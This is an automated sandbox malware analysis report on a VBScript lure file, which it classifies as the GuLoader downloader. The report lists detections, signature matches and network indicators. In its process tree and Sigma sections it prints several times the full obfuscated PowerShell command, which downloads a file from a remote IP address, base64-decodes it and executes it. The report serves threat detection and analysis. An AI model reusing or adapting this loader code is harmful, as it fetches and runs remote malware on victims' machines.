Edit tour

Windows Analysis Report
Urgent_File_Confirmation_00000000000000000000.vbs

Overview

General Information

Sample name:	Urgent_File_Confirmation_00000000000000000000.vbs
Analysis ID:	1466652
MD5:	182b6f3f627a31ed7ca07dac5301a313
SHA1:	10344a8ea462146b923a66accacb6882d5788322
SHA256:	a268983f063d0e933961c93cd3d813a7b8ba94d81789eced7da6a2e3bef32836
Tags:	vbs
Infos:

Detection

GuLoader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for submitted file

VBScript performs obfuscated calls to suspicious functions

Yara detected GuLoader

Yara detected Powershell download and execute

AI detected suspicious sample

Found suspicious powershell code related to unpacking or dynamic code loading

Obfuscated command line found

Potential malicious VBS script found (suspicious strings)

Queries sensitive service information (via WMI, WIN32_SERVICE, often done to detect sandboxes)

Sample has a suspicious name (potential lure to open the executable)

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Very long command line found

Wscript starts Powershell (via cmd or directly)

Abnormal high CPU Usage

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries the volume information (name, serial number etc) of a device

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Yara signature match

Classification

Process Tree

System is w10x64

wscript.exe (PID: 7328 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Urgent_File_Confirmation_00000000000000000000.vbs" MD5: A47CBE969EA935BDD3AB568BB126BC80)

powershell.exe (PID: 7456 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'unloveliness Vvestol Shrimpish byrendernes Ristornos33 Estoppel Togaernes Kalkulationskolonnernes Dispatch systematikkerne Hemmelighed Tonical Uncrudded ulyksalighed ugthedens Buddingpulverets Vertebrate Pursuits Partitional Rigsenhedens brugervenlig Hypnotiseres Quinqueradiate Saiga unloveliness Vvestol Shrimpish byrendernes Ristornos33 Estoppel Togaernes Kalkulationskolonnernes Dispatch systematikkerne Hemmelighed Tonical Uncrudded ulyksalighed ugthedens Buddingpulverets Vertebrate Pursuits Partitional Rigsenhedens brugervenlig Hypnotiseres Quinqueradiate Saiga';If (${host}.CurrentCulture) {$Optionally++;}Function Nordvest61($Spaltedefinitionernes){$Defrauding=$Spaltedefinitionernes.Length-$Optionally;$Genskabtes='SUBsTRI';$Genskabtes+='ng';For( $Snakeflower=1;$Snakeflower -lt $Defrauding;$Snakeflower+=2){$unloveliness+=$Spaltedefinitionernes.$Genskabtes.Invoke( $Snakeflower, $Optionally);}$unloveliness;}function Diagonalgade209($Plejninger){ . ($Tantarabobus) ($Plejninger);}$Amtskommunaldirektrens=Nordvest61 ' MPo.zSiIlSlna,/S5 . 0U U(.WSiSn dSopwSs .NFTl 1D0O..0 ; sWOi nE6P4e;B CxO6E4N;S .rSvH:R1 2 1 . 0O)T .G eGc k oT/G2,0V1,0P0S1M0L1M fFTi r.e.fKoBxG/,1M2.1s.C0T ';$Ridestiernes=Nordvest61 'SUPs e,r - ASg,e,n,t. ';$Ristornos33=Nordvest61 ',h t,t p :./F/O1S0 3L.A1R9 5 . 2,3 7f. 4t3M/.MGa g,n e t,i s.e.r iJntg,eSr n eA.Gs.e a >FhStItApTse: /B/Sm i,lSa n a,cJe sB.Vc o m /uM aFg n,e,tui sFePr i n gNe rVnBeO.GsOeHa ';$Diftongeringerne=Nordvest61 '.>S ';$Tantarabobus=Nordvest61 '.iEe x ';$Mugningers157='Kalkulationskolonnernes';$Alluviate = Nordvest61 '.eNcPh.oK P%HaHp,p dPa tIaU%.\ PSaFrMaNp hPyLs i.f,eSrdo u.s ..MDaKk. h& &B eGc hMo Bt ';Diagonalgade209 (Nordvest61 'U$Sg.leo bRaUlM:,rRe k rPu t,sT=K(GcBm d F/ cI $ A,l.lSu vCi,aut e,) ');Diagonalgade209 (Nordvest61 'G$Cg,l,oBbAa l :PbOyAr,eUn.d eLr.n eAs,= $SR,iYs,t oMrLnTo s,3.3K.DsSp l,i t.( $TD isfFt o.nHgCe rUiun g,eOr.nReA)A ');Diagonalgade209 (Nordvest61 'R[ANBe,tA.PSTe rav,i cBeBP o i nAtMMaa,n aCgte,r,]I: :CS eMc,uSr i,t.y,PRrUo,t o cDoDl E=E M[PNOeGt..SSReDc.uMr i t yFPErMout,oBc,o lUTFy pOe ] :.:,T lEsU1U2 ');$Ristornos33=$byrendernes[0];$Konjunkturgevinsterne= (Nordvest61 'D$BgTl oPbEa.l :DUMnPsAubmTpSt.u,oHu.s.l y,=UN eOwK-fO.bFjSeSc tJ FS yCs tme,mF.PNNe.t .HWieLb C l iSeUn t');$Konjunkturgevinsterne+=$rekruts[1];Diagonalgade209 ($Konjunkturgevinsterne);Diagonalgade209 (Nordvest61 ' $ UEnUscuAmTp t.uUo uHsOl,y .UHCe a,dGeHr s [ $TRSiFdSeNs,t,i e,r n.e.s.] =,$UA,m tBs k oAmAmAu n,a,lHd,iRr e kSt rAe.nNsB ');$Packplane223=Nordvest61 ' $ U n s u m.pCt.u o uKs.l.yA.RDDoBwGnBlSoBakdSF iBl.eO( $FR iSs.tNo rSn,oPsM3U3.,O$.HDyUpUn oStAi sIe,r.ePs ) ';$Hypnotiseres=$rekruts[0];Diagonalgade209 (Nordvest61 ',$ gQl o b a.l :SkKlTa,pFsIaLl vReMnA= ( T eDsFtA-,PGaKt hI t$SH,y pHnsoBtSi s ePrCeFsP)V ');while (!$klapsalven) {Diagonalgade209 (Nordvest61 'B$Bg l,oFbAa.l :Ma nNi slu r i a,=A$Mt r u,e ') ;Diagonalgade209 $Packplane223;Diagonalgade209 (Nordvest61 ' SPt,aGrEtP- SSl e eTp. 4 ');Diagonalgade209 (Nordvest61 ' $Kg.l o b a,l : k lTa,p s.a lSv,e nN=g(,TBeAs tC-,PFa t hP E$EH y.pBn o tuiFsSeArTe s )S ') ;Diagonalgade209 (Nordvest61 'S$ g,l,oLbFa lM:AS hLrDi m pci.shhS= $Cg,lTo,b a,l :,V v ePsSt,o l.+C+.%A$Kb yTrUe n dTeRrVn,eAsA.Sc oLu,n,t ') ;$Ristornos33=$byrendernes[$Shrimpish];}$Tedeummers=367459;$Formningernes=26860;Diagonalgade209 (Nordvest61 ' $sg l oTbUaOlE:TDKiBsTp.aIt.cBhP = SGAeBt - C,oGn t e n,tF O$.HPy p n,o tIiMs eMr.eKsQ ');Diagonalgade209 (Nordvest61 'P$Dg.l o,bBaGl,:,P aPl,a.ettAiBoTl oNgKiBcRa,l R=E C[WSByUsFt e m . C o,nSv e,rMt,].:E: FVr o mBBKaTsReB6C4 S t r.i.n.gP(F$sDPi sTpBa tMcShS), ');Diagonalgade209 (Nordvest61 'L$.g lFo b a l :BT,o.n i cta,lK =K [,STyFs,t e m .STMe x ta. E n.c,o dEi nVg.] :S: AAS.CGIII .EGPe t,S tTr.i,nPgF(B$KPPa lIa eLt i o lbo g i c a lc) ');Diagonalgade209 (Nordvest61 ' $GgAlEoMbAaTl :SKOaLnCdBiSd tSw r.=c$MTDoUnSiUc a lS.,s,u,b sHt.r iTn gO(S$,TEe dDeRuNm mSePr.sS, $.FAo,rAmanLi nFgVeAr n,eUsG) ');Diagonalgade209 $Kandidtwr;" MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 7464 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 7584 cmdline: "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Paraphysiferous.Mak && echo t" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

powershell.exe (PID: 7668 cmdline: "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'unloveliness Vvestol Shrimpish byrendernes Ristornos33 Estoppel Togaernes Kalkulationskolonnernes Dispatch systematikkerne Hemmelighed Tonical Uncrudded ulyksalighed ugthedens Buddingpulverets Vertebrate Pursuits Partitional Rigsenhedens brugervenlig Hypnotiseres Quinqueradiate Saiga unloveliness Vvestol Shrimpish byrendernes Ristornos33 Estoppel Togaernes Kalkulationskolonnernes Dispatch systematikkerne Hemmelighed Tonical Uncrudded ulyksalighed ugthedens Buddingpulverets Vertebrate Pursuits Partitional Rigsenhedens brugervenlig Hypnotiseres Quinqueradiate Saiga';If (${host}.CurrentCulture) {$Optionally++;}Function Nordvest61($Spaltedefinitionernes){$Defrauding=$Spaltedefinitionernes.Length-$Optionally;$Genskabtes='SUBsTRI';$Genskabtes+='ng';For( $Snakeflower=1;$Snakeflower -lt $Defrauding;$Snakeflower+=2){$unloveliness+=$Spaltedefinitionernes.$Genskabtes.Invoke( $Snakeflower, $Optionally);}$unloveliness;}function Diagonalgade209($Plejninger){ . ($Tantarabobus) ($Plejninger);}$Amtskommunaldirektrens=Nordvest61 ' MPo.zSiIlSlna,/S5 . 0U U(.WSiSn dSopwSs .NFTl 1D0O..0 ; sWOi nE6P4e;B CxO6E4N;S .rSvH:R1 2 1 . 0O)T .G eGc k oT/G2,0V1,0P0S1M0L1M fFTi r.e.fKoBxG/,1M2.1s.C0T ';$Ridestiernes=Nordvest61 'SUPs e,r - ASg,e,n,t. ';$Ristornos33=Nordvest61 ',h t,t p :./F/O1S0 3L.A1R9 5 . 2,3 7f. 4t3M/.MGa g,n e t,i s.e.r iJntg,eSr n eA.Gs.e a >FhStItApTse: /B/Sm i,lSa n a,cJe sB.Vc o m /uM aFg n,e,tui sFePr i n gNe rVnBeO.GsOeHa ';$Diftongeringerne=Nordvest61 '.>S ';$Tantarabobus=Nordvest61 '.iEe x ';$Mugningers157='Kalkulationskolonnernes';$Alluviate = Nordvest61 '.eNcPh.oK P%HaHp,p dPa tIaU%.\ PSaFrMaNp hPyLs i.f,eSrdo u.s ..MDaKk. h& &B eGc hMo Bt ';Diagonalgade209 (Nordvest61 'U$Sg.leo bRaUlM:,rRe k rPu t,sT=K(GcBm d F/ cI $ A,l.lSu vCi,aut e,) ');Diagonalgade209 (Nordvest61 'G$Cg,l,oBbAa l :PbOyAr,eUn.d eLr.n eAs,= $SR,iYs,t oMrLnTo s,3.3K.DsSp l,i t.( $TD isfFt o.nHgCe rUiun g,eOr.nReA)A ');Diagonalgade209 (Nordvest61 'R[ANBe,tA.PSTe rav,i cBeBP o i nAtMMaa,n aCgte,r,]I: :CS eMc,uSr i,t.y,PRrUo,t o cDoDl E=E M[PNOeGt..SSReDc.uMr i t yFPErMout,oBc,o lUTFy pOe ] :.:,T lEsU1U2 ');$Ristornos33=$byrendernes[0];$Konjunkturgevinsterne= (Nordvest61 'D$BgTl oPbEa.l :DUMnPsAubmTpSt.u,oHu.s.l y,=UN eOwK-fO.bFjSeSc tJ FS yCs tme,mF.PNNe.t .HWieLb C l iSeUn t');$Konjunkturgevinsterne+=$rekruts[1];Diagonalgade209 ($Konjunkturgevinsterne);Diagonalgade209 (Nordvest61 ' $ UEnUscuAmTp t.uUo uHsOl,y .UHCe a,dGeHr s [ $TRSiFdSeNs,t,i e,r n.e.s.] =,$UA,m tBs k oAmAmAu n,a,lHd,iRr e kSt rAe.nNsB ');$Packplane223=Nordvest61 ' $ U n s u m.pCt.u o uKs.l.yA.RDDoBwGnBlSoBakdSF iBl.eO( $FR iSs.tNo rSn,oPsM3U3.,O$.HDyUpUn oStAi sIe,r.ePs ) ';$Hypnotiseres=$rekruts[0];Diagonalgade209 (Nordvest61 ',$ gQl o b a.l :SkKlTa,pFsIaLl vReMnA= ( T eDsFtA-,PGaKt hI t$SH,y pHnsoBtSi s ePrCeFsP)V ');while (!$klapsalven) {Diagonalgade209 (Nordvest61 'B$Bg l,oFbAa.l :Ma nNi slu r i a,=A$Mt r u,e ') ;Diagonalgade209 $Packplane223;Diagonalgade209 (Nordvest61 ' SPt,aGrEtP- SSl e eTp. 4 ');Diagonalgade209 (Nordvest61 ' $Kg.l o b a,l : k lTa,p s.a lSv,e nN=g(,TBeAs tC-,PFa t hP E$EH y.pBn o tuiFsSeArTe s )S ') ;Diagonalgade209 (Nordvest61 'S$ g,l,oLbFa lM:AS hLrDi m pci.shhS= $Cg,lTo,b a,l :,V v ePsSt,o l.+C+.%A$Kb yTrUe n dTeRrVn,eAsA.Sc oLu,n,t ') ;$Ristornos33=$byrendernes[$Shrimpish];}$Tedeummers=367459;$Formningernes=26860;Diagonalgade209 (Nordvest61 ' $sg l oTbUaOlE:TDKiBsTp.aIt.cBhP = SGAeBt - C,oGn t e n,tF O$.HPy p n,o tIiMs eMr.eKsQ ');Diagonalgade209 (Nordvest61 'P$Dg.l o,bBaGl,:,P aPl,a.ettAiBoTl oNgKiBcRa,l R=E C[WSByUsFt e m . C o,nSv e,rMt,].:E: FVr o mBBKaTsReB6C4 S t r.i.n.gP(F$sDPi sTpBa tMcShS), ');Diagonalgade209 (Nordvest61 'L$.g lFo b a l :BT,o.n i cta,lK =K [,STyFs,t e m .STMe x ta. E n.c,o dEi nVg.] :S: AAS.CGIII .EGPe t,S tTr.i,nPgF(B$KPPa lIa eLt i o lbo g i c a lc) ');Diagonalgade209 (Nordvest61 ' $GgAlEoMbAaTl :SKOaLnCdBiSd tSw r.=c$MTDoUnSiUc a lS.,s,u,b sHt.r iTn gO(S$,TEe dDeRuNm mSePr.sS, $.FAo,rAmanLi nFgVeAr n,eUsG) ');Diagonalgade209 $Kandidtwr;" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

cmd.exe (PID: 7752 cmdline: "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Paraphysiferous.Mak && echo t" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
CloudEyE, GuLoader	CloudEyE (initially named GuLoader) is a small VB5/6 downloader. It typically downloads RATs/Stealers, such as Agent Tesla, Arkei/Vidar, Formbook, Lokibot, Netwire and Remcos, often but not always from Google Drive. The downloaded payload is xored.	No Attribution	http://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/bluebottle-banks-targeted-africa https://0x00sec.org/t/analyzing-modern-malware-techniques-part-3/18943 https://any.run/cybersecurity-blog/deobfuscating-guloader/ https://asec.ahnlab.com/en/55978/ https://blog.checkpoint.com/security/march-2023s-most-wanted-malware-new-emotet-campaign-bypasses-microsoft-blocks-to-distribute-malicious-onenote-files/	https://malpedia.caad.fkie.fraunhofer.de/details/win.cloudeye

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000004.00000002.3001942781.0000000009B15000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_GuLoader_2	Yara detected GuLoader	Joe Security
Process Memory Space: powershell.exe PID: 7456	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: powershell.exe PID: 7456	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x1617ef:$b2: ::FromBase64String( 0x16182e:$b2: ::FromBase64String( 0x16186e:$b2: ::FromBase64String( 0x1618af:$b2: ::FromBase64String( 0x1618f1:$b2: ::FromBase64String( 0x161934:$b2: ::FromBase64String( 0x161978:$b2: ::FromBase64String( 0x1619bd:$b2: ::FromBase64String( 0x161a03:$b2: ::FromBase64String( 0x161a4a:$b2: ::FromBase64String( 0x161a92:$b2: ::FromBase64String( 0x397cb9:$b2: ::FromBase64String( 0x20727:$s1: -join 0x25b7d:$s1: -join 0x7b933:$s1: -join 0x7c093:$s1: -join 0x23c589:$s1: -join 0x26df70:$s1: -join 0x27b045:$s1: -join 0x27e417:$s1: -join 0x27eac9:$s1: -join
Process Memory Space: powershell.exe PID: 7668	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: powershell.exe PID: 7668	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0xbdc24:$b2: ::FromBase64String( 0xb52a8:$s1: -join 0x29c3a9:$s1: -join 0x2a90ff:$s1: -join 0x2b61d4:$s1: -join 0x2b95a6:$s1: -join 0x2b9c58:$s1: -join 0x2bb749:$s1: -join 0x2bd94f:$s1: -join 0x2be176:$s1: -join 0x2be9e6:$s1: -join 0x2bf121:$s1: -join 0x2bf153:$s1: -join 0x2bf19b:$s1: -join 0x2bf1ba:$s1: -join 0x2bfa0a:$s1: -join 0x2bfb86:$s1: -join 0x2bfbfe:$s1: -join 0x2bfc91:$s1: -join 0x2bfef7:$s1: -join 0x2c208d:$s1: -join

Other

Source	Rule	Description	Author	Strings
amsi64_7456.amsi.csv	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
amsi32_7668.amsi.csv	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0xd972:$b2: ::FromBase64String( 0xc9db:$s1: -join 0x6187:$s4: += 0x6249:$s4: += 0xa470:$s4: += 0xc58d:$s4: += 0xc877:$s4: += 0xc9bd:$s4: += 0x15c00:$s4: += 0x15c80:$s4: += 0x15d46:$s4: += 0x15dc6:$s4: += 0x15f9c:$s4: += 0x16020:$s4: += 0xd213:$e4: Get-WmiObject 0xd402:$e4: Get-Process 0xd45a:$e4: Start-Process 0x168a9:$e4: Get-Process

Sigma Signatures

System Summary

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Urgent_File_Confirmation_00000000000000000000.vbs", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Urgent_File_Confirmation_00000000000000000000.vbs", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Urgent_File_Confirmation_00000000000000000000.vbs", ProcessId: 7328, ProcessName: wscript.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Urgent_File_Confirmation_00000000000000000000.vbs", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Urgent_File_Confirmation_00000000000000000000.vbs", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Urgent_File_Confirmation_00000000000000000000.vbs", ProcessId: 7328, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'unloveliness Vvestol Shrimpish byrendernes Ristornos33 Estoppel Togaernes Kalkulationskolonnernes Dispatch systematikkerne Hemmelighed Tonical Uncrudded ulyksalighed ugthedens Buddingpulverets Vertebrate Pursuits Partitional Rigsenhedens brugervenlig Hypnotiseres Quinqueradiate Saiga unloveliness Vvestol Shrimpish byrendernes Ristornos33 Estoppel Togaernes Kalkulationskolonnernes Dispatch systematikkerne Hemmelighed Tonical Uncrudded ulyksalighed ugthedens Buddingpulverets Vertebrate Pursuits Partitional Rigsenhedens brugervenlig Hypnotiseres Quinqueradiate Saiga';If (${host}.CurrentCulture) {$Optionally++;}Function Nordvest61($Spaltedefinitionernes){$Defrauding=$Spaltedefinitionernes.Length-$Optionally;$Genskabtes='SUBsTRI';$Genskabtes+='ng';For( $Snakeflower=1;$Snakeflower -lt $Defrauding;$Snakeflower+=2){$unloveliness+=$Spaltedefinitionernes.$Genskabtes.Invoke( $Snakeflower, $Optionally);}$unloveliness;}function Diagonalgade209($Plejninger){ . ($Tantarabobus) ($Plejninger);}$Amtskommunaldirektrens=Nordvest61 ' MPo.zSiIlSlna,/S5 . 0U U(.WSiSn dSopwSs .NFTl 1D0O..0 ; sWOi nE6P4e;B CxO6E4N;S .rSvH:R1 2 1 . 0O)T .G eGc k oT/G2,0V1,0P0S1M0L1M fFTi r.e.fKoBxG/,1M2.1s.C0T ';$Ridestiernes=Nordvest61 'SUPs e,r - ASg,e,n,t. ';$Ristornos33=Nordvest61 ',h t,t p :./F/O1S0 3L.A1R9 5 . 2,3 7f. 4t3M/.MGa g,n e t,i s.e.r iJntg,eSr n eA.Gs.e a >FhStItApTse: /B/Sm i,lSa n a,cJe sB.Vc o m /uM aFg n,e,tui sFePr i n gNe rVnBeO.GsOeHa ';$Diftongeringerne=Nordvest61 '.>S ';$Tantarabobus=Nordvest61 '.iEe x ';$Mugningers157='Kalkulationskolonnernes';$Alluviate = Nordvest61 '.eNcPh.oK P%HaHp,p dPa tIaU%.\ PSaFrMaNp hPyLs i.f,eSrdo u.s ..MDaKk. h& &B eGc hMo Bt ';Diagonalgade209 (Nordvest61 'U$Sg.leo bRaUlM:,rRe k rPu t,sT=K(GcBm d F/ cI $ A,l.lSu vCi,aut e,) ');Diagonalgade209 (Nordvest61 'G$Cg,l,oBbAa l :PbOyAr,eUn.d eLr.n eAs,= $SR,iYs,t oMrLnTo s,3.3K.DsSp l,i t.( $TD isfFt o.nHgCe rUiun g,eOr.nReA)A ');Diagonalgade209 (Nordvest61 'R[ANBe,tA.PSTe rav,i cBeBP o i nAtMMaa,n aCgte,r,]I: :CS eMc,uSr i,t.y,PRrUo,t o cDoDl E=E M[PNOeGt..SSReDc.uMr i t yFPErMout,oBc,o lUTFy pOe ] :.:,T lEsU1U2 ');$Ristornos33=$byrendernes[0];$Konjunkturgevinsterne= (Nordvest61 'D$BgTl oPbEa.l :DUMnPsAubmTpSt.u,oHu.s.l y,=UN eOwK-fO.bFjSeSc tJ FS yCs tme,mF.PNNe.t .HWieLb C l iSeUn t');$Konjunkturgevinsterne+=$rekruts[1];Diagonalgade209 ($Konjunkturgevinsterne);Diagonalgade209 (Nordvest61 ' $ UEnUscuAmTp t.uUo uHsOl,y .UHCe a,dGeHr s [ $TRSiFdSeNs,t,i e,r n.e.s.] =,$UA,m tBs k oAmAmAu n,a,lHd,iRr e kSt rAe.nNsB ');$Packplane223=Nordvest61 ' $ U n s u m.pCt.u o uKs.l.yA.RDDoBwGnBlSoBakdSF iBl.eO( $FR iSs.tNo rSn,oPsM3U3.,O$.HDyUpUn oStAi sIe,r.ePs ) ';$Hypnotiseres=$rekruts[0];Diagonalgade209 (Nordvest61 ',$ gQl o b a.l :SkKlTa,pFsIaLl vReMnA= ( T eDsFtA-,PGaKt hI t$SH,y pHnsoBtSi s ePrCeFsP)V ');while (!$klapsalven) {Diagonalgade209 (Nordvest61 'B$Bg l,oFbAa.l :Ma nNi slu r i a,=A$Mt r u,e ') ;Diagona

Snort Signatures

⊘No Snort rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for domain / URL

Source: http://103.195.237.43

Virustotal: Detection: 11%

Perma Link

Multi AV Scanner detection for submitted file

Source: Urgent_File_Confirmation_00000000000000000000.vbs	ReversingLabs: Detection: 15%
Source: Urgent_File_Confirmation_00000000000000000000.vbs	Virustotal: Detection: 15%			Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.7% probability

Source:	Binary string: .Core.pdb@ source: powershell.exe, 00000004.00000002.2993662435.000000000748B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: indows\System.Core.pdb source: powershell.exe, 00000004.00000002.2993662435.000000000748B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Core\v4.0_4.0.0.0__b77a5c561934e089\System.Core.pdbB source: powershell.exe, 00000004.00000002.2993662435.0000000007429000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Core\v4.0_4.0.0.0__b77a5c561934e089\System.Core.pdb source: powershell.exe, 00000004.00000002.2993662435.0000000007429000.00000004.00000020.00020000.00000000.sdmp

Software Vulnerabilities

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Source: Joe Sandbox View

IP Address: 103.195.237.43 103.195.237.43

Source: global traffic

HTTP traffic detected: GET /Magnetiseringerne.sea HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: 103.195.237.43Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 103.195.237.43
Source: unknown	TCP traffic detected without corresponding DNS query: 103.195.237.43
Source: unknown	TCP traffic detected without corresponding DNS query: 103.195.237.43
Source: unknown	TCP traffic detected without corresponding DNS query: 103.195.237.43
Source: unknown	TCP traffic detected without corresponding DNS query: 103.195.237.43
Source: unknown	TCP traffic detected without corresponding DNS query: 103.195.237.43
Source: unknown	TCP traffic detected without corresponding DNS query: 103.195.237.43
Source: unknown	TCP traffic detected without corresponding DNS query: 103.195.237.43
Source: unknown	TCP traffic detected without corresponding DNS query: 103.195.237.43
Source: unknown	TCP traffic detected without corresponding DNS query: 103.195.237.43
Source: unknown	TCP traffic detected without corresponding DNS query: 103.195.237.43
Source: unknown	TCP traffic detected without corresponding DNS query: 103.195.237.43
Source: unknown	TCP traffic detected without corresponding DNS query: 103.195.237.43
Source: unknown	TCP traffic detected without corresponding DNS query: 103.195.237.43
Source: unknown	TCP traffic detected without corresponding DNS query: 103.195.237.43
Source: unknown	TCP traffic detected without corresponding DNS query: 103.195.237.43
Source: unknown	TCP traffic detected without corresponding DNS query: 103.195.237.43
Source: unknown	TCP traffic detected without corresponding DNS query: 103.195.237.43
Source: unknown	TCP traffic detected without corresponding DNS query: 103.195.237.43
Source: unknown	TCP traffic detected without corresponding DNS query: 103.195.237.43
Source: unknown	TCP traffic detected without corresponding DNS query: 103.195.237.43
Source: unknown	TCP traffic detected without corresponding DNS query: 103.195.237.43
Source: unknown	TCP traffic detected without corresponding DNS query: 103.195.237.43
Source: unknown	TCP traffic detected without corresponding DNS query: 103.195.237.43
Source: unknown	TCP traffic detected without corresponding DNS query: 103.195.237.43
Source: unknown	TCP traffic detected without corresponding DNS query: 103.195.237.43
Source: unknown	TCP traffic detected without corresponding DNS query: 103.195.237.43
Source: unknown	TCP traffic detected without corresponding DNS query: 103.195.237.43
Source: unknown	TCP traffic detected without corresponding DNS query: 103.195.237.43
Source: unknown	TCP traffic detected without corresponding DNS query: 103.195.237.43
Source: unknown	TCP traffic detected without corresponding DNS query: 103.195.237.43
Source: unknown	TCP traffic detected without corresponding DNS query: 103.195.237.43
Source: unknown	TCP traffic detected without corresponding DNS query: 103.195.237.43
Source: unknown	TCP traffic detected without corresponding DNS query: 103.195.237.43
Source: unknown	TCP traffic detected without corresponding DNS query: 103.195.237.43
Source: unknown	TCP traffic detected without corresponding DNS query: 103.195.237.43
Source: unknown	TCP traffic detected without corresponding DNS query: 103.195.237.43
Source: unknown	TCP traffic detected without corresponding DNS query: 103.195.237.43
Source: unknown	TCP traffic detected without corresponding DNS query: 103.195.237.43
Source: unknown	TCP traffic detected without corresponding DNS query: 103.195.237.43
Source: unknown	TCP traffic detected without corresponding DNS query: 103.195.237.43
Source: unknown	TCP traffic detected without corresponding DNS query: 103.195.237.43
Source: unknown	TCP traffic detected without corresponding DNS query: 103.195.237.43
Source: unknown	TCP traffic detected without corresponding DNS query: 103.195.237.43
Source: unknown	TCP traffic detected without corresponding DNS query: 103.195.237.43
Source: unknown	TCP traffic detected without corresponding DNS query: 103.195.237.43
Source: unknown	TCP traffic detected without corresponding DNS query: 103.195.237.43
Source: unknown	TCP traffic detected without corresponding DNS query: 103.195.237.43
Source: unknown	TCP traffic detected without corresponding DNS query: 103.195.237.43
Source: unknown	TCP traffic detected without corresponding DNS query: 103.195.237.43

Source: global traffic

HTTP traffic detected: GET /Magnetiseringerne.sea HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: 103.195.237.43Connection: Keep-Alive

Source: powershell.exe, 00000001.00000002.2974919360.0000021E8127F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.1
Source: powershell.exe, 00000001.00000002.2974919360.0000021E8127F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.19
Source: powershell.exe, 00000001.00000002.2974919360.0000021E8127F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.195
Source: powershell.exe, 00000001.00000002.2974919360.0000021E8127F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.195.
